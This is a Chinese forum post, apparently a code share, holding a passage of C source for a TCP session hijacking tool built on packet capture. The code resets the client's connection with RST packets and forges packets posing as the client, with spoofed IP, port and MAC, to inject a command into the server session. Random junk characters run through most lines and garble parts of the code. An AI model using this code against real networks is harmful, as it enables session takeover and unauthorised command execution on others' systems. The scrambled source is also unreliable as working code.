- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 6 x$ R0 \+ P! A
//reset action flag
, E) g& c) D2 U$ H. p9 x* @8 k/ N ResetActionAllFlag(); 2 E" _% x/ x' W
} 7 l1 u, O+ E; c& q" B1 H1 S
//start hijack
# @0 E0 p) E/ U! i else if(g_dwAction == ACTION_HIJACK) 0 l' e0 x) {( ?% P, v6 r
{ 8 `! d& l# F+ C* E, X
//send rst packet to client
: `9 D, {9 A+ |' o4 c SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
0 J5 D( r, {' E6 }2 N. F //send hijack packet to client ( _0 |2 l# W; N1 m
SendHiJackPacket(pTCPPacket); 9 [6 r1 ]7 P5 \
//reset action flag
+ h* @# i/ i X, H ResetActionAllFlag();
2 @1 V, ^% o- Z } p2 `; o0 x# J4 l7 I' N' h
} 4 x. Y' p+ v: _# K0 J. I7 N
//show the tcp data
2 n2 V8 \5 p! C& r) } if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) - s- ~* V# w# d+ A
{ ( S# V# N7 m) h0 b4 K8 E3 a
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ' K5 W! s: q3 _/ S# r# f2 [
//暂不考虑IP、TCP头不是20字节的情况
6 B& ~6 q! _) F3 d) Q# J //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
8 j b, Q' z! T4 P9 I pStr = (char *)pTCPPacket + 54;
0 e" l- k0 I3 I for(i=0; i } + j% N# ?( w5 s5 G: v! v2 _
}
* G; |# X; ~. [) q$ k //debug output
2 ^8 j s+ s% i: F //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 6 H- S+ Z" k6 i; z! a- N
}//end of analyse packets while t; t, v- p, I/ |
}//end of recv packets while 1 t( C( V( h1 {3 H- N1 y* x
PacketFreePacket(lpRecvPacket);
+ T1 m4 J: V$ Q4 |! o4 k( E1 s return 0; 5 t5 k% J t" k6 q7 h) b
} - t2 d4 _4 W* j5 r
& G) M( ~7 `8 Q# a( h- [% M+ O- k' ]) D
//
& H2 z( K- h# M* P. m/ |//功能:操作记录所有连接信息的单向链表 0 t6 H1 Y( M" v
//
4 O9 R5 k; Q. f& P6 g8 _2 UDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, + Q# z5 D4 o/ L6 y, f7 a
USHORT uClientPort, BOOL bDelete, BOOL bAddNew) ! C2 m( }- @/ o( d% m
{ 0 e" i9 o5 q7 R* y4 t$ Y
PCONNINFO pNew, pTmp;
! h( v5 G/ z+ k8 r: q' e6 w% ^8 i) f
pTmp = g_pConnHead;
+ @" \- T+ j+ h, v- P/ ~6 j while(pTmp)
0 N _/ H; w9 i0 S2 V& s { 9 Z8 a1 q5 F0 w% c8 W$ q
if(pTmp->bActive) # e% [9 K# r7 n* k9 W% E7 W
{
6 \! V# k C6 t% S- k //found it
) N6 N) [8 c& ^9 c% k if( (pTmp->dwServerIP == dwServerIP) && & Z) v, F6 q* w p( }/ R( E
(pTmp->uServerPort == uServerPort) && 0 Q: z9 |1 M' b
(pTmp->dwClientIP == dwClientIP) && 3 e; r5 f; [* D- @
(pTmp->uClientPort == uClientPort) )
0 h, z; o$ A( C( S { . B' u0 \* T1 v" n
if(bDelete)
& T# {+ }$ U5 H+ O* r {
6 D5 p: f; s! n! }- i& S' K- r pTmp->bActive = FALSE; ! a0 ^) h; |/ s; d
return 0; 8 F6 d7 I0 m; V/ O, t2 Q) ~7 S
}
: [% W! d1 L2 A4 H$ T; A1 d else return pTmp->ident;
( C% W3 Y! E' c8 n- E, I }
7 P/ p) Z5 E9 E }
; |7 u2 K5 D3 _( G* i pTmp = pTmp->Next;
+ j4 v" K x7 [' ^ s' r, }' w6 g }
! E0 B3 Q: L5 N //not found, create new node G5 w/ g5 i( t; [; v: M; M l
if( (!pTmp) && (!bDelete) && (bAddNew) )
6 \. U8 g( Q2 u2 y4 X" Y& v { , a6 L$ |3 u8 m4 _: G2 r) x
//search unactive note 1 s5 R( j+ r) x5 K% D8 l( k, N; x
pTmp = g_pConnHead;
/ M7 B6 e, u- k while(pTmp)
8 I' t/ D" s2 f8 j* N { r z' R' J; f3 s3 K5 O! ?6 y9 ]
if(!pTmp->bActive) break;
% ^" ]7 X' \" B4 j1 K. F: c pTmp = pTmp->Next; - H# C$ x/ m( a$ _) H
} L/ U" P- T' f4 v, E
//found a unactive node - U$ |0 J/ T4 v, E) o$ w
if(pTmp)
' N4 G( A& v$ q- i { : i0 @) }3 }0 w% u& U
pTmp->dwServerIP = dwServerIP;
7 p) p+ J: Y) S& a1 E- j9 Q0 U pTmp->uServerPort = uServerPort; & _* c0 z: p- z4 Z& b
pTmp->dwClientIP = dwClientIP;
1 v' f/ A/ v+ ]5 d pTmp->uClientPort = uClientPort; 4 K1 ~' T3 \" \
pTmp->bActive = TRUE;
# Q, R5 G# K9 E return pTmp->ident;
' t) h4 Y/ Q5 `% F4 J2 R }
9 E) Y0 H& @: j4 `, i; s" S //not found,create new node ' U* |0 [9 p+ Y
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); & k' C. _: Y+ @/ C; q$ A5 X4 o5 W
if(!pNew)
! r d4 s4 B* v { # V; m5 D9 h5 O# P/ Q$ J: A* a
printf("malloc for link node error:%d\n", GetLastError());
7 k9 W& J& n; t j' i! v. D9 R6 I0 W return 0; " w! q5 j$ Q! I8 Y, ~ |, m
}
4 Y! g, K$ {" n5 Z2 T9 A1 y //fill the struct # [# e- z0 Q$ B% `
pNew->bActive = TRUE; " E: f: ~, x% f7 r4 x( Q
pNew->dwServerIP = dwServerIP;
1 j. o5 o" U# J7 H, X5 N pNew->uServerPort = uServerPort;
/ B% K+ @$ i; _+ d2 ] pNew->dwClientIP = dwClientIP;
) j7 P$ c& I! w' ? pNew->uClientPort = uClientPort; & F" G O% j v0 r
pNew->ident = ++g_ident; : m0 w& j, {; q
pNew->Next = NULL; 6 G4 @& r, K+ Y0 g
//add new node to link
" Y9 U4 m% |, s# c* S8 n: D$ g if(!g_pConnHead)
1 g& x& |! B, h; t g_pConnHead = g_pConnLast = pNew;
' s: {& C3 b+ a, c$ X& ~2 D4 E else , f( I1 s' r9 B$ G6 _! C/ x
{
. a; M% {% z: ] g_pConnLast->Next = pNew; ; O0 N' M3 \% [
g_pConnLast = pNew;
: k# [2 A0 i$ l4 W } $ D+ f, s% M$ R1 o; r+ T8 R
return pNew->ident;
4 B, i2 ^1 a4 K- }8 l } 6 f# X* z, d. K j; x- D9 m3 C7 Q
return 0; 0 ?$ H. W) n3 r f& }
}
* X e4 g/ \6 k4 o0 _- Y
& O" m5 ~" T1 k$ F; q) }* z//
* X0 ?1 x( ], N' \0 q//功能:判断一个数据包是不是只有ACK标志 * c, m" b$ r) |7 S' X6 v& T' B
//
# J5 N7 B4 h7 D# R% T, J v, LBOOL IsACKPacket(unsigned char flag)
0 p! E5 w' S1 A, b- M{
# G+ }3 C. ~# J6 f' O. K4 ~ int i, j=1;
/ ?- l4 e) _- Q% k! V" R0 v# ]" i for(i=0 ; i<4; i++) " U3 |2 ~% c8 p1 r9 Z# k. s
{ $ a% D; g% y5 a `8 A
if(flag & j) return FALSE;
9 e6 P/ {9 |) K0 a% o: U7 l$ u j <<= 1;
* a! r( I- s* B& M } 5 m3 z* |. v3 D& X# Y5 \3 u
if(!(flag & 0x10)) return FALSE;//is ack?
* z" y% M. {$ r! k9 `: B( _+ v if(flag & 0x20) return FALSE;
) j H( E2 Z! a return TRUE; f9 Q' ~0 t+ C" H7 O+ r- w
} * x' n, G# ]7 U' o1 O7 Q3 _" ` y
3 Q# p+ V5 F# R% ~. i. x
// ( G, C0 X% `8 U y1 E( V5 V+ f
//功能:伪装成Client给Server发送数据包 ! W6 a9 z7 {: i. W5 h
//
5 E. E* X7 L4 ~- \) ~! e1 `BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
# D3 e8 ]! E. o7 @2 W' {{ 4 _3 x( \, a. P0 f6 I8 r3 d
7 B4 B& \1 A7 S& d+ |/ N% n1 s/ } char szBuff[1520]; , T( L3 Z5 N2 _: N/ J% u
PSDHDR psdhdr; 3 o4 C1 Y) h$ k- Y7 X/ W
PTCPPACKET pHiJackPacket = NULL; 1 z, @+ R! W& r0 a9 o X* o
BOOL bRet = FALSE;
3 A& w: n4 n. T8 P$ @
" `6 T& H% x7 h4 u+ o& M9 d& j __try
& o1 {$ a- p( x6 f {
7 F' W; S* K2 g1 h+ i! ~ // / j* Z: n; N0 |" B
if(!g_pCurrCtrlConn) __leave;
& F* r! D) m7 R+ E //allocate memory for hijack packet
; [! U( |+ @% ^% g pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
7 o8 k/ _$ }; j0 T6 C0 Z3 [+ w+ F4 B if(!pHiJackPacket) . _3 \: O$ K: u) Q- N
{
& D/ U- j- q1 L! p+ T* j" G: k printf("malloc error:%d\n", GetLastError());
- P3 ]4 ?! Y- R: q& S __leave;
$ ]0 g) n" T+ p4 d' {$ v }
/ o; O6 k: Q5 w( k: v memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
0 d, \. L5 v% C) G) S- D6 n" s //-------------- modify the packet ---------------//
; g3 ?" p/ p/ f5 u4 I K( E6 ? //modify ethernet head 2 _0 U4 F/ P. h6 H4 Q$ T$ b
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
5 o- W4 M- \8 ]; E* [* |" H' P memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
0 I# _+ H/ |% f7 { //modify ip head + \! g2 _ C, ?$ m x; y$ Q
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 6 s/ H* ?3 f& U- g4 p4 V: e
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); 8 ]% o+ s) C0 e5 a
pHiJackPacket->iphdr.ident += 1;//标识加1
+ v4 R* ^% a' F pHiJackPacket->iphdr.checksum = 0;
7 Y$ h$ M* ^ I1 S& Q2 H pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client ( y" K9 Z" O- }3 F& M: [) P
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
8 z' y S! o4 X5 ~' o4 L& K' v //modify tcp head 5 X1 P. g, l( }+ w' S! v
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
( b4 r% T: B) _. Q' `# i& Q0 O( c pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port / f# V6 C. a& \+ y
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); - H0 V8 G& I9 }( K* `
pHiJackPacket->tcphdr.th_flag = 0x18;// PA
/ ]/ |5 r. u1 j. f5 r pHiJackPacket->tcphdr.th_sum = 0; $ m( S" A6 }' Z0 e& H* l
pHiJackPacket->tcphdr.th_win = 0x3F44; & X% F3 S2 M' u% M1 }: m# C0 Q
//fill tcp psd head
/ t- b6 a" \8 i# _. [0 p" x psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
4 l. T+ O4 K- N1 ]- O, s* z! i psdhdr.daddr = pHiJackPacket->iphdr.destIP; % n5 @: @' \( w$ ^( k b
psdhdr.mbz = 0; ; t, {4 F' ]% `: V( W: n
psdhdr.ptcl = IPPROTO_TCP; ) N8 T/ L) L( b2 V8 }, Y0 {
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len / W: q0 @) T+ V/ N# v7 G
//calculate tcp checksum # X5 x% t6 C7 x6 B# k: v; J% q" b
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); - ~ Y: m* y, B$ T% a) e, R! o1 k
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); % y" V, K. R% \3 ~' y" @( }
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
" Z3 [$ R+ N* ?2 U b' I. f0 d pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
' [; E1 N" r$ p( c( H5 S( P //calculate IP checksum 3 G# M4 Z, J' j. T1 G* O
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); , ]$ B+ ~( h5 t5 O
//fill send buffer * O0 g1 V; _6 s8 I+ Y: ~( c
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 1 K2 k( |# w- c) i7 Z
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
5 B( U8 S. A' |5 D+ T memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); . v! M" z& ^* n7 y+ I4 n3 ^/ X
memset(g_lpSendPacket->Buffer, 0, 1514);
- |+ z) F& S6 m% p. ^ memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); ; ~! H+ t0 I' P
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
7 _0 d+ _' I/ Y& l- j3 s8 R {
2 J* R8 O- M. n8 U6 E) e0 ` printf("Error sending the hijack packets!\n"); ; R* J. |5 X( {( {( w: s7 d- S
__leave;
/ U! G+ D6 F3 Y3 V7 V; l3 b }
3 e8 @+ `/ e. t: I: N5 x& q else printf("Send hijack packet ok!\n"); 5 v3 V5 j; w$ f* w4 L4 F- h
bRet = TRUE; $ u. B( X( `) ~5 F* y" N/ ]
} |
|